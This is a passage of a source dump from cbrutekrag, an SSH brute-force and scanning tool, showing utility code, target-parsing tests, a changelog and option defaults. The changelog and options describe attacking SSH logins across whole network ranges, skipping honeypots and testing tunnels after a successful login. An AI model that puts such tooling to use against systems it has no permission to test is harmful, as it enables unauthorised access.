FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifdef _WIN32 24 | #include 25 | #include 26 | #include 27 | #else 28 | #include 29 | #include 30 | #endif 31 | 32 | #include 33 | #include 34 | #include 35 | 36 | /** 37 | * Get the terminal width. 38 | * 39 | * This function retrieves the width of the terminal in columns. If the 40 | * width cannot be determined, a default value of 80 columns is used. 41 | * 42 | * @return The width of the terminal in columns. 43 | */ 44 | static size_t get_terminal_width(void) 45 | { 46 | size_t max_cols = 80; // Default width if we can't get the size 47 | 48 | #ifdef _WIN32 49 | CONSOLE_SCREEN_BUFFER_INFO csbi; 50 | if (GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), 51 | &csbi)) { 52 | max_cols = 53 | (size_t)(csbi.srWindow.Right - csbi.srWindow.Left + 1); 54 | } 55 | #else 56 | struct winsize w; 57 | if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &w) == 0) { 58 | max_cols = w.ws_col; 59 | } 60 | #endif 61 | 62 | return max_cols; 63 | } 64 | 65 | /** 66 | * Render a progress bar to the terminal. 67 | * 68 | * This function displays a progress bar with a filled and empty section 69 | * to represent progress, as well as a percentage and optional suffix. 70 | * The bar is rendered to fit within the width of the terminal. 71 | * 72 | * |███░░░░░░░░░░░░░░░░░░░░░| 14.51% [37] 192.168.100.37 root root 73 | * 74 | * @param count The current iteration count. 75 | * @param total The total number of iterations. 76 | * @param suffix A string suffix to append after the progress bar. 77 | * @param suffix_max The width for suffix. 78 | */ 79 | void progressbar_render(size_t count, size_t total, const char *suffix, 80 | size_t suffix_max) 81 | { 82 | size_t max_cols = get_terminal_width(); 83 | size_t parcentage_len = 12; // " %6.2f%% " + || 84 | 85 | if (suffix_max + parcentage_len > max_cols) 86 | suffix_max = max_cols - parcentage_len; 87 | 88 | size_t bar_len = max_cols - parcentage_len - suffix_max; 89 | 90 | if (suffix == NULL) 91 | suffix = ""; 92 | 93 | double percentage = 0; 94 | size_t filled_len = 0; 95 | 96 | if (total > 0) { 97 | filled_len = bar_len * count / total; 98 | percentage = ((double)count / (double)total) * 100.0; 99 | } 100 | 101 | printf("\b%c[2K\r", 27); 102 | 103 | if (bar_len > 0) { 104 | printf("\033[37m|"); 105 | if (filled_len > 0) { 106 | printf("\033[32m"); 107 | for (size_t i = 0; i < filled_len; ++i) { 108 | printf("\u2588"); 109 | } 110 | } 111 | size_t empty_len = 112 | bar_len > filled_len ? bar_len - filled_len : 0; 113 | if (empty_len > 0) { 114 | printf("\033[37m"); 115 | for (size_t i = 0; i < empty_len; ++i) { 116 | printf("\u2591"); 117 | } 118 | } 119 | printf("\033[37m|\033[0m"); 120 | } 121 | 122 | printf(" %6.2f%% %-*s", percentage, 123 | suffix_max > INT_MAX ? INT_MAX : (int)suffix_max, suffix); 124 | 125 | printf("\r"); 126 | fflush(stdout); 127 | } 128 | -------------------------------------------------------------------------------- /tests/test-targets.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | #include "../src/target.h" 28 | 29 | typedef struct { 30 | const char *input; 31 | btkg_target_t *expected; 32 | } test_input_t; 33 | 34 | enum { 35 | TEST_PASSED = 0, 36 | TEST_FAIL_PARSE = 1, 37 | TEST_FAIL_HOSTNAME = 2, 38 | TEST_FAIL_PORT = 3 39 | }; 40 | 41 | static int test_btkg_target_parse(const char *input, btkg_target_t *expected) 42 | { 43 | char *line = strdup(input); 44 | 45 | if (expected == NULL) { 46 | printf("Test btkg_credentials_parse('%s') => NULL: ", input); 47 | } else { 48 | printf("Test btkg_credentials_parse('%s') => { '%s', %d }: ", 49 | input, expected->host, expected->port); 50 | } 51 | 52 | btkg_target_t *target = btkg_target_parse(line); 53 | free(line); 54 | 55 | if (expected == NULL) { 56 | if (target != NULL) { 57 | printf("FAIL\n-- Expected parsed target = NULL, got '{ %s, %d }'\n", 58 | target->host, target->port); 59 | free(target->host); 60 | free(target); 61 | return TEST_FAIL_PARSE; 62 | } 63 | } else { 64 | if (target == NULL) { 65 | printf("FAIL\n-- Expected parsed target = { '%s', %d }, got NULL\n", 66 | expected->host, expected->port); 67 | return TEST_FAIL_PARSE; 68 | } 69 | 70 | if (strcmp(target->host, expected->host) != 0) { 71 | printf("FAIL\n-- Expected parsed hostname = '%s', got '%s'\n", 72 | expected->host, target->host); 73 | free(target->host); 74 | free(target); 75 | return TEST_FAIL_HOSTNAME; 76 | } 77 | 78 | if (target->port != expected->port) { 79 | printf("FAIL\n-- Expected parsed port = '%d', got '%d'\n", 80 | expected->port, target->port); 81 | free(target->host); 82 | free(target); 83 | return TEST_FAIL_PORT; 84 | } 85 | } 86 | 87 | printf("PASSED\n"); 88 | return TEST_PASSED; 89 | } 90 | 91 | void run_tests(test_input_t *tests) 92 | { 93 | int i = 0; 94 | 95 | while (tests[i].input != NULL) { 96 | int result = test_btkg_target_parse(tests[i].input, 97 | tests[i].expected); 98 | if (result != TEST_PASSED) { 99 | printf("Test %d failed with error code %d\n", i + 1, 100 | result); 101 | exit(result); 102 | } 103 | i++; 104 | } 105 | 106 | printf("All tests passed\n"); 107 | } 108 | 109 | int main() 110 | { 111 | printf("Running target.c Test\n"); 112 | 113 | test_input_t matrix[] = { 114 | // Default value por port should be 22 115 | { "127.0.0.1", &(btkg_target_t){ "127.0.0.1", 22 } }, 116 | { "192.168.0.1", &(btkg_target_t){ "192.168.0.1", 22 } }, 117 | // Custom ports 118 | { "192.168.100.1:2222", 119 | &(btkg_target_t){ "192.168.100.1", 2222 } }, 120 | { "192.168.100.1:22", &(btkg_target_t){ "192.168.100.1", 22 } }, 121 | { "localhost:22", &(btkg_target_t){ "localhost", 22 } }, 122 | // Invalid 123 | { "localhost:0", NULL }, 124 | { "10.10.10.10:test", NULL }, 125 | { "10.10.10.10 :22", NULL }, 126 | { NULL, NULL }, 127 | }; 128 | 129 | run_tests(matrix); 130 | 131 | return 0; 132 | } 133 | -------------------------------------------------------------------------------- /src/iprange.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2018-2024 Jorge Matricali 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | */ 17 | 18 | #ifdef _WIN32 19 | #include 20 | #include 21 | #ifdef _MSC_VER 22 | #pragma comment(lib, "ws2_32.lib") 23 | #endif // _MSC_VER 24 | #else 25 | #include /* ntohl */ 26 | #endif 27 | 28 | #include /* errno */ 29 | #include 30 | #include /* exit */ 31 | #include /* strchr */ 32 | 33 | #include "iprange.h" 34 | 35 | /** 36 | * @brief Convert an IPv4 address in string format to a 32-bit host-order value. 37 | * 38 | * @param ipstr The IPv4 address in string format (e.g., "192.168.1.1"). 39 | * 40 | * @return The 32-bit host-order value of the IPv4 address. 41 | * 42 | * @note Exits the program with an error message if the address is invalid. 43 | */ 44 | in_addr_t a_to_hl(const char *ipstr) 45 | { 46 | struct in_addr in; 47 | 48 | #ifdef _WIN32 49 | if (inet_pton(AF_INET, ipstr, &in) != 1) { 50 | #else 51 | if (!inet_aton(ipstr, &in)) { 52 | #endif 53 | fprintf(stderr, "Invalid address %s!\n", ipstr); 54 | exit(1); 55 | } 56 | 57 | return (in_addr_t)ntohl(in.s_addr); 58 | } 59 | 60 | /** 61 | * @brief Compute the netmask address given a prefix length. 62 | * 63 | * @param prefix The prefix length (0 to 32). 64 | * 65 | * @return The netmask address as a 32-bit integer. 66 | */ 67 | in_addr_t netmask(int prefix) 68 | { 69 | if (prefix == 0) { 70 | return (~((in_addr_t)-1)); 71 | } else { 72 | return (~(((in_addr_t)1 << (32 - prefix)) - 1)); 73 | } 74 | } 75 | 76 | /** 77 | * @brief Compute the network address given an IP address and a prefix length. 78 | * 79 | * @param addr The IP address as a 32-bit integer. 80 | * @param prefix The prefix length (0 to 32). 81 | * 82 | * @return The network address as a 32-bit integer. 83 | */ 84 | in_addr_t network(in_addr_t addr, int prefix) 85 | { 86 | return (addr & netmask(prefix)); 87 | } 88 | 89 | /** 90 | * @brief Compute the broadcast address given an IP address and a prefix length. 91 | * 92 | * @param addr The IP address as a 32-bit integer. 93 | * @param prefix The prefix length (0 to 32). 94 | * 95 | * @return The broadcast address as a 32-bit integer. 96 | */ 97 | in_addr_t broadcast(in_addr_t addr, int prefix) 98 | { 99 | return (addr | ~netmask(prefix)); 100 | } 101 | 102 | /** 103 | * @brief Convert a network address in string format into a host-order network address 104 | * and an integer prefix value. 105 | * 106 | * @param ipstr The network address in string format (e.g., "192.168.1.0/24"). 107 | * 108 | * @return A network_addr_t structure containing the network address and prefix. 109 | * 110 | * @note Exits the program with an error message if the address or prefix is invalid. 111 | */ 112 | network_addr_t str_to_netaddr(const char *ipstr) 113 | { 114 | long prefix = 32; 115 | char *prefixstr; 116 | network_addr_t netaddr; 117 | char *ipstr_copy = strdup(ipstr); // Make a copy of ipstr to modify 118 | 119 | if ((prefixstr = strchr(ipstr_copy, '/'))) { 120 | *prefixstr = '\0'; 121 | prefixstr++; 122 | errno = 0; 123 | prefix = strtol(prefixstr, (char **)NULL, 10); 124 | if (errno || (*prefixstr == '\0') || (prefix < 0) || 125 | (prefix > 32)) { 126 | fprintf(stderr, "Invalid prefix /%s...!\n", prefixstr); 127 | free(ipstr_copy); 128 | exit(1); 129 | } 130 | } 131 | 132 | netaddr.pfx = (int)prefix; 133 | netaddr.addr = network(a_to_hl(ipstr_copy), (int)prefix); 134 | 135 | free(ipstr_copy); 136 | return (netaddr); 137 | } 138 | -------------------------------------------------------------------------------- /src/context.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | #include 23 | 24 | #include "cbrutekrag.h" 25 | #include "target.h" 26 | 27 | /** 28 | * @brief Initializes the options structure with default values. 29 | * 30 | * This function sets the default values for the options used in the brute 31 | * force tool. 32 | * 33 | * @param options Pointer to the options structure to be initialized. 34 | */ 35 | void btkg_options_init(btkg_options_t *options) 36 | { 37 | if (options == NULL) 38 | return; 39 | 40 | options->timeout = 3; 41 | options->max_threads = 1; 42 | options->progress_bar = 0; 43 | options->verbose = 0; 44 | options->dry_run = 0; 45 | options->perform_scan = 0; 46 | options->non_openssh = 0; 47 | options->allow_honeypots = 0; 48 | options->check_http = NULL; 49 | options->bruteforce_output_format = NULL; 50 | options->scanner_output_format = NULL; 51 | } 52 | 53 | /** 54 | * @brief Initializes the context structure with default values. 55 | * 56 | * This function initializes the context structure, including its embedded 57 | * options, credentials list, and target list, with default values. 58 | * 59 | * @param context Pointer to the context structure to be initialized. 60 | */ 61 | void btkg_context_init(btkg_context_t *context) 62 | { 63 | if (context == NULL) { 64 | return; 65 | } 66 | 67 | btkg_options_init(&context->options); 68 | 69 | context->output = NULL; 70 | context->scan_output = NULL; 71 | context->count = 0; 72 | context->successful = 0; 73 | context->total = 0; 74 | context->credentials_idx = 0; 75 | context->targets_idx = 0; 76 | pthread_mutex_init(&context->lock, NULL); 77 | 78 | btkg_credentials_list_init(&context->credentials); 79 | btkg_target_list_init(&context->targets); 80 | } 81 | 82 | /** 83 | * @brief Destroys the context structure and frees associated resources. 84 | * 85 | * This function releases any resources associated with the context, including 86 | * mutexes, credentials list, and target list. It should be called when the 87 | * context is no longer needed to avoid memory leaks. 88 | * 89 | * @param context Pointer to the context structure to be destroyed. 90 | */ 91 | void btkg_context_destroy(btkg_context_t *context) 92 | { 93 | if (context == NULL) { 94 | return; 95 | } 96 | 97 | // Destroy the mutex 98 | pthread_mutex_destroy(&context->lock); 99 | 100 | // Free the credentials list 101 | btkg_credentials_list_destroy(&context->credentials); 102 | 103 | // Free the target list 104 | btkg_target_list_destroy(&context->targets); 105 | 106 | // Free any dynamically allocated memory in the context 107 | if (context->output != NULL) { 108 | fclose(context->output); 109 | context->output = NULL; 110 | } 111 | 112 | if (context->scan_output != NULL) { 113 | fclose(context->scan_output); 114 | context->scan_output = NULL; 115 | } 116 | 117 | btkg_options_t *options = &context->options; 118 | 119 | free(options->check_http); 120 | options->check_http = NULL; 121 | 122 | free(options->bruteforce_output_format); 123 | options->bruteforce_output_format = NULL; 124 | 125 | free(options->scanner_output_format); 126 | options->scanner_output_format = NULL; 127 | } 128 | -------------------------------------------------------------------------------- /.clang-format: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-2.0 2 | # 3 | # clang-format configuration file. Intended for clang-format >= 4. 4 | # 5 | # For more information, see: 6 | # 7 | # Documentation/process/clang-format.rst 8 | # https://clang.llvm.org/docs/ClangFormat.html 9 | # https://clang.llvm.org/docs/ClangFormatStyleOptions.html 10 | # 11 | --- 12 | AccessModifierOffset: -4 13 | AlignAfterOpenBracket: Align 14 | AlignConsecutiveAssignments: false 15 | AlignConsecutiveDeclarations: false 16 | #AlignEscapedNewlines: Left # Unknown to clang-format-4.0 17 | AlignOperands: true 18 | AlignTrailingComments: false 19 | AllowAllParametersOfDeclarationOnNextLine: false 20 | AllowShortBlocksOnASingleLine: false 21 | AllowShortCaseLabelsOnASingleLine: false 22 | AllowShortFunctionsOnASingleLine: None 23 | AllowShortIfStatementsOnASingleLine: false 24 | AllowShortLoopsOnASingleLine: false 25 | AlwaysBreakAfterDefinitionReturnType: None 26 | AlwaysBreakAfterReturnType: None 27 | AlwaysBreakBeforeMultilineStrings: false 28 | AlwaysBreakTemplateDeclarations: false 29 | BinPackArguments: true 30 | BinPackParameters: true 31 | BraceWrapping: 32 | AfterClass: false 33 | AfterControlStatement: false 34 | AfterEnum: false 35 | AfterFunction: true 36 | AfterNamespace: true 37 | AfterObjCDeclaration: false 38 | AfterStruct: false 39 | AfterUnion: false 40 | #AfterExternBlock: false # Unknown to clang-format-5.0 41 | BeforeCatch: false 42 | BeforeElse: false 43 | IndentBraces: false 44 | #SplitEmptyFunction: true # Unknown to clang-format-4.0 45 | #SplitEmptyRecord: true # Unknown to clang-format-4.0 46 | #SplitEmptyNamespace: true # Unknown to clang-format-4.0 47 | BreakBeforeBinaryOperators: None 48 | BreakBeforeBraces: Custom 49 | #BreakBeforeInheritanceComma: false # Unknown to clang-format-4.0 50 | BreakBeforeTernaryOperators: false 51 | BreakConstructorInitializersBeforeComma: false 52 | #BreakConstructorInitializers: BeforeComma # Unknown to clang-format-4.0 53 | BreakAfterJavaFieldAnnotations: false 54 | BreakStringLiterals: false 55 | ColumnLimit: 80 56 | CommentPragmas: '^ IWYU pragma:' 57 | #CompactNamespaces: false # Unknown to clang-format-4.0 58 | ConstructorInitializerAllOnOneLineOrOnePerLine: false 59 | ConstructorInitializerIndentWidth: 8 60 | ContinuationIndentWidth: 8 61 | Cpp11BracedListStyle: false 62 | DerivePointerAlignment: false 63 | DisableFormat: false 64 | ExperimentalAutoDetectBinPacking: false 65 | #FixNamespaceComments: false # Unknown to clang-format-4.0 66 | 67 | #IncludeBlocks: Preserve # Unknown to clang-format-5.0 68 | IncludeCategories: 69 | - Regex: '.*' 70 | Priority: 1 71 | IncludeIsMainRegex: '(Test)?$' 72 | IndentCaseLabels: true 73 | #IndentPPDirectives: None # Unknown to clang-format-5.0 74 | IndentWidth: 8 75 | IndentWrappedFunctionNames: false 76 | JavaScriptQuotes: Leave 77 | JavaScriptWrapImports: true 78 | KeepEmptyLinesAtTheStartOfBlocks: false 79 | MacroBlockBegin: '' 80 | MacroBlockEnd: '' 81 | MaxEmptyLinesToKeep: 1 82 | NamespaceIndentation: Inner 83 | #ObjCBinPackProtocolList: Auto # Unknown to clang-format-5.0 84 | ObjCBlockIndentWidth: 8 85 | ObjCSpaceAfterProperty: true 86 | ObjCSpaceBeforeProtocolList: true 87 | 88 | # Taken from git's rules 89 | #PenaltyBreakAssignment: 10 # Unknown to clang-format-4.0 90 | PenaltyBreakBeforeFirstCallParameter: 30 91 | PenaltyBreakComment: 10 92 | PenaltyBreakFirstLessLess: 0 93 | PenaltyBreakString: 10 94 | PenaltyExcessCharacter: 100 95 | PenaltyReturnTypeOnItsOwnLine: 60 96 | 97 | PointerAlignment: Right 98 | ReflowComments: false 99 | SortIncludes: true 100 | #SortUsingDeclarations: false # Unknown to clang-format-4.0 101 | SpaceAfterCStyleCast: false 102 | SpaceAfterTemplateKeyword: true 103 | SpaceBeforeAssignmentOperators: true 104 | #SpaceBeforeCtorInitializerColon: true # Unknown to clang-format-5.0 105 | #SpaceBeforeInheritanceColon: true # Unknown to clang-format-5.0 106 | SpaceBeforeParens: ControlStatements 107 | #SpaceBeforeRangeBasedForLoopColon: true # Unknown to clang-format-5.0 108 | SpaceInEmptyParentheses: false 109 | SpacesBeforeTrailingComments: 1 110 | SpacesInAngles: false 111 | SpacesInContainerLiterals: false 112 | SpacesInCStyleCastParentheses: false 113 | SpacesInParentheses: false 114 | SpacesInSquareBrackets: false 115 | Standard: Cpp03 116 | TabWidth: 8 117 | UseTab: Always 118 | ... 119 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | All notable changes to this project will be documented in this file. 3 | 4 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), 5 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). 6 | 7 | ## [Unreleased] 8 | 9 | ### Added 10 | 11 | - Hostname can be used as a username or password dynamically ($TARGET) (#28) 12 | - Output log format are now customizable (#30) 13 | - Windows support 14 | - Timeout can be specified using --timeout argument. Default: 3 15 | - Separated and customizable scanner output log -F -O (#27) 16 | - --check-http for check TCP Tunnel after successful login 17 | - A separated thread to monitoring the progress of processes 18 | - Estimated time remaining and rate indicators 19 | - Targets and credentials can be loaded from multiple files 20 | 21 | ### Changed 22 | 23 | - Bruteforce process now uses pthread instead of fork 24 | - Short option for bruteforce output log format changed from -F to -f 25 | - The current state is no longer reported by the worker threads. Is reported by 26 | monitoring thread instead 27 | 28 | ### Fixed 29 | 30 | - Added missing wrapper for FD_SET in static build 31 | - ssh_get_error shouldn't be used after ssh_free 32 | - Buffer overflow in banner grabber 33 | - Division by zero when progress bar has no elements 34 | - Update total work to do after targets filtering 35 | - ssh_free releases the memory allocated for banner 36 | - Flush write buffer to logs immediately 37 | - Progress bar on smaller terminal sizes (#11) 38 | 39 | ### Removed 40 | 41 | - Honeypot detection 42 | 43 | ## [0.5.0] - 2020-03-07 44 | ### Added 45 | - Support for custom port (argument: -p ) both on scan and bruteforce phases. 46 | - Dry-run (argument: -D) 47 | - Added the initial basis to support different ports on different targets 48 | - Now is possible to specify the port on targets list (ex: 10.10.1.10:2222) (see #5) 49 | - Shows time elapsed on each phase. 50 | - Increase the maximum file descriptor number that can be opened by this process. 51 | - manpages (`man cbrutekrag`) 52 | - Debug bracktrace symbols 53 | - Ignore as default non OpenSSH servers (argument flag -a to accept) 54 | - Detects and skip NON SSH servers (tcpwrapped). 55 | - Ignoring servers that don't support password authentication. 56 | 57 | ### Changed 58 | - Separate Cbrutekrag verbosity from SSHLIB verbosity. (arguments: -v and -V respectively). 59 | - The default maximum number of threads is calculated automatically. 60 | - Allow servers detected as honeypot (argument flag -A) 61 | - Improved detection of non-eligible servers. 62 | 63 | ### Removed 64 | - Removed port option (-p ) in favor of new targets syntax (191.168.0.0/24:2222) 65 | 66 | ### Fixed 67 | - Wait until all forks finished her work. 68 | - Ignore SIGPIPE 69 | - Fixed false positives in servers which login are interactive. 70 | 71 | ## [0.4.0] - 2018-09-02 72 | ### Added 73 | - Multithreaded port scan, discard targets from batch if the port is closed (argument: -s). 74 | - Honeypot detection (?). 75 | - Support for target list as arguments. It can be combined with targets file. 76 | - Targets can be a CIDR IPv4 block. 77 | 78 | ### Fixed 79 | - Initialize hostnames wordlist. 80 | - Aborts bruteforce phase if there is no targets after scan or honeypot detection phases. 81 | 82 | ## [0.3.0] - 2018-08-26 83 | ### Added 84 | - Compatibility with libssh-dev < 0.6.0. 85 | 86 | ### Changed 87 | - Improved logging. 88 | - Improved help (-h). 89 | 90 | ### Fixed 91 | - Fixed a segmentation fault when it does not had an open output file. 92 | - Update progress bar at the end to complete 100%. 93 | 94 | ## [0.2.1] - 2018-01-02 95 | ### Added 96 | - Support for empty password ($BLANKPASS in dictionary). 97 | 98 | ### Changed 99 | - Improved fork model. 100 | 101 | ## [0.1.3] - 2017-12-29 102 | ### Added 103 | - Multithread. 104 | - Progress bar. 105 | 106 | 107 | [Unreleased]: https://github.com/matricali/cbrutekrag/compare/0.5...HEAD 108 | [0.5.0]: https://github.com/matricali/cbrutekrag/compare/0.4...0.5 109 | [0.4.0]: https://github.com/matricali/cbrutekrag/compare/0.3...0.4 110 | [0.3.0]: https://github.com/matricali/cbrutekrag/compare/0.2.6...0.3 111 | [0.2.1]: https://github.com/matricali/cbrutekrag/compare/0.1...0.2 112 | [0.1.3]: https://github.com/matricali/cbrutekrag/releases/tag/0.1 113 | -------------------------------------------------------------------------------- /src/str.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #include "str.h" 29 | 30 | /** 31 | * @brief Safely copies a string to a destination buffer ensuring null termination. 32 | * 33 | * @param dst Destination buffer. 34 | * @param src Source string. 35 | * @param dst_size Size of the destination buffer. 36 | */ 37 | void btkg_str_copy(char *dst, const char *src, size_t dst_size) 38 | { 39 | if (dst_size > 0) { 40 | strncpy(dst, src, dst_size - 1); 41 | dst[dst_size - 1] = '\0'; // Ensure null-termination 42 | } 43 | } 44 | 45 | /** 46 | * @brief Replaces all occurrences of a substring within a string with another substring. 47 | * 48 | * @param orig The original string. 49 | * @param rep The substring to replace. 50 | * @param with The replacement substring. 51 | * 52 | * @return A new string with the replacements. Should be freed by the caller. 53 | */ 54 | char *btkg_str_replace(const char *orig, const char *rep, const char *with) 55 | { 56 | char *result; 57 | char *ins; 58 | char *tmp; 59 | size_t len_rep; 60 | size_t len_with; 61 | size_t len_front; 62 | size_t count; 63 | 64 | // sanity checks and initialization 65 | if (!orig || !rep) 66 | return NULL; 67 | len_rep = strlen(rep); 68 | if (len_rep == 0) 69 | return NULL; // empty rep causes infinite loop during count 70 | if (!with) 71 | with = ""; 72 | len_with = strlen(with); 73 | 74 | // count the number of replacements needed 75 | ins = (char *)orig; 76 | for (count = 0; (tmp = strstr(ins, rep)); ++count) { 77 | ins = tmp + len_rep; 78 | } 79 | 80 | tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1); 81 | if (!result) { 82 | perror("malloc"); 83 | return NULL; 84 | } 85 | 86 | // first time through the loop, all the variable are set correctly 87 | // from here on, 88 | // tmp points to the end of the result string 89 | // ins points to the next occurrence of rep in orig 90 | // orig points to the remainder of orig after "end of rep" 91 | while (count--) { 92 | ins = strstr(orig, rep); 93 | len_front = (size_t)(ins - orig); 94 | tmp = strncpy(tmp, orig, len_front) + len_front; 95 | tmp = strcpy(tmp, with) + len_with; 96 | orig += len_front + len_rep; // move to next "end of rep" 97 | } 98 | strcpy(tmp, orig); 99 | return result; 100 | } 101 | 102 | /** 103 | * @brief Replaces placeholders in a string with specified values. 104 | * 105 | * @param input The input string containing placeholders. 106 | * @param search The placeholder to search for. 107 | * @param replace The string to replace the placeholder with. 108 | * 109 | * @return A new string with placeholders replaced. Should be freed by the caller. 110 | */ 111 | char *btkg_str_replace_placeholder(char *input, const char *search, 112 | const char *replace) 113 | { 114 | char *tmp = btkg_str_replace(input, search, replace); 115 | if (tmp) { 116 | if (input) 117 | free(input); 118 | return tmp; 119 | } 120 | return input; 121 | } 122 | 123 | /** 124 | * @brief Replaces escape sequences in a string with their corresponding characters. 125 | * 126 | * @param str The input string containing escape sequences. 127 | */ 128 | void btkg_str_replace_escape_sequences(char *str) 129 | { 130 | char *read = str; 131 | char *write = str; 132 | while (*read) { 133 | if (*read == '\\' && *(read + 1)) { 134 | read++; 135 | switch (*read) { 136 | case 'n': 137 | *write++ = '\n'; 138 | break; 139 | case 't': 140 | *write++ = '\t'; 141 | break; 142 | // -- 143 | default: 144 | *write++ = '\\'; 145 | *write++ = *read; 146 | } 147 | } else { 148 | *write++ = *read; 149 | } 150 | read++; 151 | } 152 | *write = '\0'; 153 | } 154 | -------------------------------------------------------------------------------- /src/credentials.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #include 24 | #include 25 | 26 | #include "compat.h" 27 | #include "credentials.h" 28 | #include "log.h" 29 | #include "str.h" 30 | 31 | char *g_blankpass_placeholder = "$BLANKPASS"; 32 | 33 | /** 34 | * @brief Parses a line into a btkg_credentials_t structure. 35 | * 36 | * @param line The line to parse. 37 | * @param dst Pointer to the 